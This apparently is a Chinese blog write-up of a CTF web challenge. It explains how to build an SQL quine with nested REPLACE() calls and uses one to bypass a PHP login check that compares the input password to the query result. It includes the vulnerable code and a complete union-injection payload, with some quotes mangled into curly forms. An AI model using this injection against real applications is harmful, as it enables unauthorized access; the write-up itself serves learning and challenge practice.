sql_quine注入记录

前言

这个点之前从来没见过,还是你龙哥在看我做sql的题跟我提了一嘴,看了一下确实挺牛逼的,故记录一下

正片

直接把题拿出来看,其实暂时不用怎么看,大概知道一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
}

题目要求数据库里的password和传入的psd强相等,爆了之后发现数据库中的password是空表。看似就没有任何办法做到相等然后出flag了。

但是有一种方法可以

什么是Quine

Quine就是输入和输出的语句完全一致,例如:

1
2
<<this is in
>>this is in

如果能做到这样,使用某种办法将输入的内容原封不动输出出来,就完成了一次Quine构造

在sql中能利用replace函数做到Quine构造

replace()函数

replace(object,search,replace) 把object对象中出现的search全部替换成replace

构造的基本形式就是

1
REPLACE(str,编码的间隔符,str)

其中,str为

1
REPLACE(间隔符,编码的间隔符,间隔符)

组合就变成了==>

REPLACE(REPLACE(间隔符,编码的间隔符,间隔符),编码的间隔符,REPLACE(间隔符,编码的间隔符,间隔符))
↑str1 ↑str2

这样就把str1中的间隔符又换成了str2,具体的替换用颜色表示一下

REPLACE(REPLACE(间隔符,编码的间隔符,间隔符),编码的间隔符,REPLACE(间隔符,编码的间隔符,间隔符))

可以见得,这样替换之后的内容就大致相同了

直接给出一条语句试一下

1
2
3
4
5
6
select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+

细致看一下,还是有单双引号的区别。不能一直用双引号",会导致异常闭合,所以得单引号里嵌套双引号。

1
2
Quine: REPLACE('str',编码的间隔符,'str')
str: REPLACE("间隔符",编码的间隔符,"间隔符")

运算后的结果是REPLACE("str",编码的间隔符,"str"),所以让结果的str也用单引号包裹就能让输入和查询结果完全一致了

那要如何解决但双引号不一致的问题呢?很简单,再replace一下就好了。CHAR(34)="CHAR(39)='

1
2
Quine:REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
str:REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

实际上是先将str里的双引号替换成单引号,再用str替换str里的间隔符

1
2
3
4
5
6
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+

再从payload理解为什么要用Quine

第五空间智能安全大赛-Web-yet_another_mysql_injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
}

waf封了空格,直接用内联就行了。这里为了方便看就用回空格

1’ union select replace(replace(‘1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’,char(34),char(39)),char(46),’1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’)#
组合sql语句就是:
SELECT password FROM users WHERE username=’admin’ and password=’1’ union select replace(replace(‘1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’,char(34),char(39)),char(46),’1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’)#’;

这时候,由于使用的是联合注入,当前文报错,就会回显后面的

1’ union select replace(replace(‘1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’,char(34),char(39)),char(46),’1” union select replace(replace(“.”,char(34),char(39)),char(46),”.”)#’)#’;

这就让$row[‘password’] 等于了这一串,而这一串刚好和输入的$psw相等,完成了绕过

  • Copyrights © 2022-2024 b1xcy